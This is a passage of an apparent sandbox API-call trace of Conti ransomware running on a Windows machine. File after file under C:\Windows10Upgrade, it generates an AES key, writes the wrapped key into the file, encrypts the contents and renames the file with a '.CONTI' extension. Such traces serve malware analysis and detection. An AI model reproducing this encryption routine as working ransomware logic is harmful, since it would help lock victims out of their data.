	[0151.637] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.637] CloseHandle (hObject=0x35c) returned 1
	[0151.637] GetProcessHeap () returned 0x1720000
	[0151.637] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.637] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm"
	[0151.637] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.CONTI"
	[0151.638] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm.conti")) returned 1
	[0151.638] GetProcessHeap () returned 0x1720000
	[0151.638] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.638] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0151.638] GetProcessHeap () returned 0x1720000
	[0151.638] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740b68 | out: hHeap=0x1720000) returned 1
	[0151.638] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0151.638] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b4be20 | out: phKey=0x6b4be20*=0x17deed0) returned 1
	[0151.638] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4be24, pdwDataLen=0x3bbfde4 | out: pbData=0x6b4be24*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0151.639] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png")) returned 0x20
	[0151.639] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0151.640] GetLastError () returned 0x0
	[0151.640] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=2165) returned 1
	[0151.640] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x875
	[0151.640] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.640] SetEndOfFile (hFile=0x35c) returned 1
	[0151.640] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.640] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.640] WriteFile (in: hFile=0x35c, lpBuffer=0x6b4be24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6b4be24*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.642] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.642] ReadFile (in: hFile=0x35c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x875, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x875, lpOverlapped=0x0) returned 1
	[0151.642] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x875, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x880) returned 1
	[0151.642] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.642] WriteFile (in: hFile=0x35c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x880, lpOverlapped=0x0) returned 1
	[0151.642] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.642] WriteFile (in: hFile=0x35c, lpBuffer=0x6b4be18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6b4be18*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0151.642] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.643] CloseHandle (hObject=0x35c) returned 1
	[0151.643] GetProcessHeap () returned 0x1720000
	[0151.643] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.643] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png"
	[0151.643] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.CONTI"
	[0151.643] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png.conti")) returned 1
	[0151.643] GetProcessHeap () returned 0x1720000
	[0151.643] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.643] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0151.643] GetProcessHeap () returned 0x1720000
	[0151.643] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a8c0 | out: hHeap=0x1720000) returned 1
	[0151.643] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0151.643] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b49e30 | out: phKey=0x6b49e30*=0x17deed0) returned 1
	[0151.644] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49e34, pdwDataLen=0x3bbfde4 | out: pbData=0x6b49e34*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0151.644] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png")) returned 0x20
	[0151.645] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0151.645] GetLastError () returned 0x0
	[0151.645] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=2212) returned 1
	[0151.645] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8a4
	[0151.645] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.645] SetEndOfFile (hFile=0x35c) returned 1
	[0151.646] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.646] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.646] WriteFile (in: hFile=0x35c, lpBuffer=0x6b49e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6b49e34*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.647] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.648] ReadFile (in: hFile=0x35c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x8a4, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x8a4, lpOverlapped=0x0) returned 1
	[0151.648] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x8a4, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x8b0) returned 1
	[0151.648] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.648] WriteFile (in: hFile=0x35c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x8b0, lpOverlapped=0x0) returned 1
	[0151.648] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.648] WriteFile (in: hFile=0x35c, lpBuffer=0x6b49e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6b49e28*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0151.648] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.648] CloseHandle (hObject=0x35c) returned 1
	[0151.648] GetProcessHeap () returned 0x1720000
	[0151.648] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.648] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png"
	[0151.648] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.CONTI"
	[0151.648] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png.conti")) returned 1
	[0151.649] GetProcessHeap () returned 0x1720000
	[0151.649] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.649] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0151.649] GetProcessHeap () returned 0x1720000
	[0151.649] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02c58 | out: hHeap=0x1720000) returned 1
	[0151.649] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0151.649] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a078 | out: phKey=0x6b4a078*=0x17deed0) returned 1
	[0151.649] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a07c, pdwDataLen=0x3bbfde4 | out: pbData=0x6b4a07c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0151.650] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png")) returned 0x20
	[0151.650] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0151.650] GetLastError () returned 0x0
	[0151.650] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=1822) returned 1
	[0151.650] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x71e
	[0151.650] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.650] SetEndOfFile (hFile=0x35c) returned 1
	[0151.650] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.650] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.650] WriteFile (in: hFile=0x35c, lpBuffer=0x6b4a07c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6b4a07c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.652] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.652] ReadFile (in: hFile=0x35c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x71e, lpOverlapped=0x0) returned 1
	[0151.652] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x71e, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x720) returned 1
	[0151.652] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.652] WriteFile (in: hFile=0x35c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x720, lpOverlapped=0x0) returned 1
	[0151.653] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.653] WriteFile (in: hFile=0x35c, lpBuffer=0x6b4a070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6b4a070*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0151.653] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.653] CloseHandle (hObject=0x35c) returned 1
	[0151.653] GetProcessHeap () returned 0x1720000
	[0151.653] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.653] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\pass.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\pass.png") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png"
	[0151.653] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\pass.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\pass.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png.CONTI"
	[0151.653] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png.conti")) returned 1
	[0151.653] GetProcessHeap () returned 0x1720000
	[0151.653] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.653] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0151.653] GetProcessHeap () returned 0x1720000
	[0151.654] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741340 | out: hHeap=0x1720000) returned 1
	[0151.654] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0151.654] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b49510 | out: phKey=0x6b49510*=0x17deed0) returned 1
	[0151.654] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49514, pdwDataLen=0x3bbfde4 | out: pbData=0x6b49514*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0151.654] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log")) returned 0x20
	[0151.655] CreateFileW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0151.655] GetLastError () returned 0x0
	[0151.655] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=250186) returned 1
	[0151.655] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3d14a
	[0151.655] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.656] SetEndOfFile (hFile=0x35c) returned 1
	[0151.656] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.656] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.656] WriteFile (in: hFile=0x35c, lpBuffer=0x6b49514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6b49514*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.658] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.658] ReadFile (in: hFile=0x35c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x3d14a, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x3d14a, lpOverlapped=0x0) returned 1
	[0151.661] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x3d14a, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x3d150) returned 1
	[0151.661] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.661] WriteFile (in: hFile=0x35c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x3d150, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x3d150, lpOverlapped=0x0) returned 1
	[0151.662] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.662] WriteFile (in: hFile=0x35c, lpBuffer=0x6b49508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6b49508*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0151.662] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.662] CloseHandle (hObject=0x35c) returned 1
	[0151.662] GetProcessHeap () returned 0x1720000
	[0151.662] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.662] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\upgrader_default.log" | out: lpString1="C:\\Windows10Upgrade\\upgrader_default.log") returned="C:\\Windows10Upgrade\\upgrader_default.log"
	[0151.662] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\upgrader_default.log", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\upgrader_default.log.CONTI") returned="C:\\Windows10Upgrade\\upgrader_default.log.CONTI"
	[0151.662] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), lpNewFileName="C:\\Windows10Upgrade\\upgrader_default.log.CONTI" (normalized: "c:\\windows10upgrade\\upgrader_default.log.conti")) returned 1
	[0151.662] GetProcessHeap () returned 0x1720000
	[0151.662] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.663] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0151.663] GetProcessHeap () returned 0x1720000
	[0151.663] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17413a0 | out: hHeap=0x1720000) returned 1
	[0151.663] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0151.663] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ae28 | out: phKey=0x6b4ae28*=0x17deed0) returned 1
	[0151.663] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ae2c, pdwDataLen=0x3bbfde4 | out: pbData=0x6b4ae2c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0151.663] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log")) returned 0x20
	[0151.664] CreateFileW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0151.664] GetLastError () returned 0x0
	[0151.664] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=20548) returned 1
	[0151.664] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5044
	[0151.664] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.664] SetEndOfFile (hFile=0x35c) returned 1
	[0151.664] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.664] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.664] WriteFile (in: hFile=0x35c, lpBuffer=0x6b4ae2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6b4ae2c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.666] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
